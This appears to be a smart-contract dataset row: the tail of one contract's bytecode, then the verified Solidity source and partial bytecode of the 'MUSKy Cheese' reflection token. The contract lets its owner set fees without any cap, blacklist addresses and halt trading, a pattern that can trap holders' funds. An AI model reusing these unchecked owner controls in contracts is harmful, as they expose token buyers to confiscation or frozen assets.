fffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600360159054906101000a900460ff1681565b6000600360159054906101000a900460ff16156111ce576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f5061757361626c653a20636f6e7472616374206e6f742070617573656400000081525060200191505060405180910390fd5b6111d88383611f12565b905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4f776e61626c653a206f6e6c79206f776e65722063616e20657865637574650081525060200191505060405180910390fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611401576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4f776e61626c653a206f6e6c79206f776e65722063616e20657865637574650081525060200191505060405180910390fd5b600360159054906101000a900460ff1615611484576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f5061757361626c653a20636f6e7472616374206e6f742070617573656400000081525060200191505060405180910390fd5b6001600360156101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561158e5780601f106115635761010080835404028352916020019161158e565b820191906000526020600020905b81548152906001019060200180831161157157829003601f168201915b505050505081565b6000600360159054906101000a900460ff161561161b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f5061757361626c653a20636f6e7472616374206e6f742070617573656400000081525060200191505060405180910390fd5b6116258383612229565b905092915050565b6000600360159054906101000a900460ff16156116b2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f5061757361626c653a20636f6e7472616374206e6f742070617573656400000081525060200191505060405180910390fd5b6116bc8383612466565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461180e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4f776e61626c653a206f6e6c79206f776e65722063616e20657865637574650081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611894576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806127366023913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806127596024913960400191505060405180910390fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b52576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061277d6025913960400191505060405180910390fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611c2583600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8990919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cba83600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0190919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d108382611e8990919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600080828401905083811015611e7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f6164646974696f6e20636f6e73747261696e7420766f696c617465640000000081525060200191505060405180910390fd5b8091505092915050565b600082821115611f01576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f7375627374726163747320636f6e73747261696e7420766f696c61746564000081525060200191505060405180910390fd5b600082840390508091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f99576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806127596024913960400191505060405180910390fd5b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156120a9576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061213d565b6120bc8382611e8990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156122cd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4261736963546f6b656e3a207265717569726520746f2061646472657373000081525060200191505060405180910390fd5b61231f82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b482600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0190919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156124ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806127596024913960400191505060405180910390fd5b61257c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509291505056fe4d696e7461626c65546f6b656e3a2072657175697265206d696e74696e67206163746976654275726e61626c65546f6b656e3a2076616c7565206d757374206265206772657465727468616e20304f776e61626c653a206e6577206f776e65722073686f756c64206e6f7420656d7074795374616e64617264546f6b656e3a207370656e646572206164647265737320656d7074795374616e64617264546f6b656e3a207265636569766572206164647265737320656d707479a265627a7a72315820fe305e4e1855cb9f3ba4fefde2e5278357c5cd4948846b3a2f78063f963ff8ee64736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 6,230 |
0x5eb2f831c2768db67e744eb6aaa5146a57e23b1a
|
/**
*Submitted for verification at Etherscan.io on 2022-03-06
*/
/**
* MUSKy Cheese isnt just a meme coin. We are a cheese brand. Holders are the owners
* https://t.me/MUSKyCheese
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MUSKyCheese is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "MUSKy Cheese";//////////////////////////
string private constant _symbol = "MUSKy";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 2;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 12;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 6;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 12;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x7350563AF052eeBBf9C7Cd0ac18E16D91Bc91972);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0x7350563AF052eeBBf9C7Cd0ac18E16D91Bc91972);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 2000000000 * 10**9; //2%
uint256 public _maxWalletSize = 4000000000* 10**9; //4%
uint256 public _swapTokensAtAmount = 100000000 * 10**9; //0.1%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610614578063dd62ed3e1461063d578063ea1644d51461067a578063f2fde38b146106a3576101cc565b8063a2a957bb1461055a578063a9059cbb14610583578063bfd79284146105c0578063c3c8cd80146105fd576101cc565b80638f70ccf7116100d15780638f70ccf7146104b25780638f9a55c0146104db57806395d89b411461050657806398a5c31514610531576101cc565b806374010ece146104335780637d1db4a51461045c5780638da5cb5b14610487576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c857806370a08231146103df578063715018a61461041c576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612f37565b6106cc565b005b34801561020657600080fd5b5061020f61081c565b60405161021c9190613380565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612ea3565b610859565b604051610259919061334a565b60405180910390f35b34801561026e57600080fd5b50610277610877565b6040516102849190613365565b60405180910390f35b34801561029957600080fd5b506102a261089d565b6040516102af9190613562565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612e54565b6108ae565b6040516102ec919061334a565b60405180910390f35b34801561030157600080fd5b5061030a610987565b6040516103179190613562565b60405180910390f35b34801561032c57600080fd5b5061033561098d565b60405161034291906135d7565b60405180910390f35b34801561035757600080fd5b50610360610996565b60405161036d919061332f565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612dc6565b6109bc565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612f78565b610aac565b005b3480156103d457600080fd5b506103dd610b5e565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612dc6565b610c2f565b6040516104139190613562565b60405180910390f35b34801561042857600080fd5b50610431610c80565b005b34801561043f57600080fd5b5061045a60048036038101906104559190612fa1565b610dd3565b005b34801561046857600080fd5b50610471610e72565b60405161047e9190613562565b60405180910390f35b34801561049357600080fd5b5061049c610e78565b6040516104a9919061332f565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190612f78565b610ea1565b005b3480156104e757600080fd5b506104f0610f53565b6040516104fd9190613562565b60405180910390f35b34801561051257600080fd5b5061051b610f59565b6040516105289190613380565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612fa1565b610f96565b005b34801561056657600080fd5b50610581600480360381019061057c9190612fca565b611035565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612ea3565b6110ec565b6040516105b7919061334a565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190612dc6565b61110a565b6040516105f4919061334a565b60405180910390f35b34801561060957600080fd5b5061061261112a565b005b34801561062057600080fd5b5061063b60048036038101906106369190612edf565b611203565b005b34801561064957600080fd5b50610664600480360381019061065f9190612e18565b611363565b6040516106719190613562565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c9190612fa1565b6113ea565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612dc6565b611489565b005b6106d461164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610758906134c2565b60405180910390fd5b60005b8151811015610818576001601060008484815181106107ac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108109061389c565b915050610764565b5050565b60606040518060400160405280600c81526020017f4d55534b79204368656573650000000000000000000000000000000000000000815250905090565b600061086d61086661164b565b8484611653565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600068056bc75e2d63100000905090565b60006108bb84848461181e565b61097c846108c761164b565b61097785604051806060016040528060288152602001613da960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092d61164b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a39092919063ffffffff16565b611653565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109c461164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a48906134c2565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ab461164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b38906134c2565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b9f61164b565b73ffffffffffffffffffffffffffffffffffffffff161480610c155750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bfd61164b565b73ffffffffffffffffffffffffffffffffffffffff16145b610c1e57600080fd5b6000479050610c2c81612107565b50565b6000610c79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612202565b9050919050565b610c8861164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0c906134c2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be007